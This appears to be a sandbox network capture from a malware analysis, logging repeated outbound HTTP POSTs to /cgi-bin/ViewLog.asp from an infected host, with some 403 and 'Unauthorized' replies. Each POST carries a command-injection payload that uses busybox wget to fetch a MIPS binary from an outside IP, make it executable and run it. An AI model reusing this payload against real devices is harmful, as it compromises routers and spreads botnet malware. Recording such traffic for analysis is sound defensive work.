Nov 23, 2023 05:17:41.158255100 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:45.766247988 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:54.726219893 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.182187080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	46780	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.255091906 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 30 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:30Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	40546	94.122.69.15	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.456335068 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	58150	94.122.21.82	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.473140955 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	36172	95.216.173.227	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.845352888 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	58052	95.86.124.147	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.879472017 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	53750	62.202.157.91	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.881411076 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	43566	94.110.120.241	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.910465002 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	49466	62.150.217.127	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.912800074 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.176980972 CET	367	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	43962	94.253.103.239	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.918740034 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.152697086 CET	75	IN	HTTP/1.1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	59964	31.200.104.154	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.921883106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	52222	31.136.70.123	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.952150106 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:38.534279108 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:39.686280966 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:42.182251930 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:46.790247917 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.006273031 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:14.182173967 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	45942	94.121.146.55	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:37.998198032 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	46816	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:38.065845013 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 33 31 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:31Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	53952	94.120.160.167	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:38.103033066 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	34440	62.221.97.211	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:38.289958954 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	37252	31.33.14.58	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:38.744976044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	46878	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
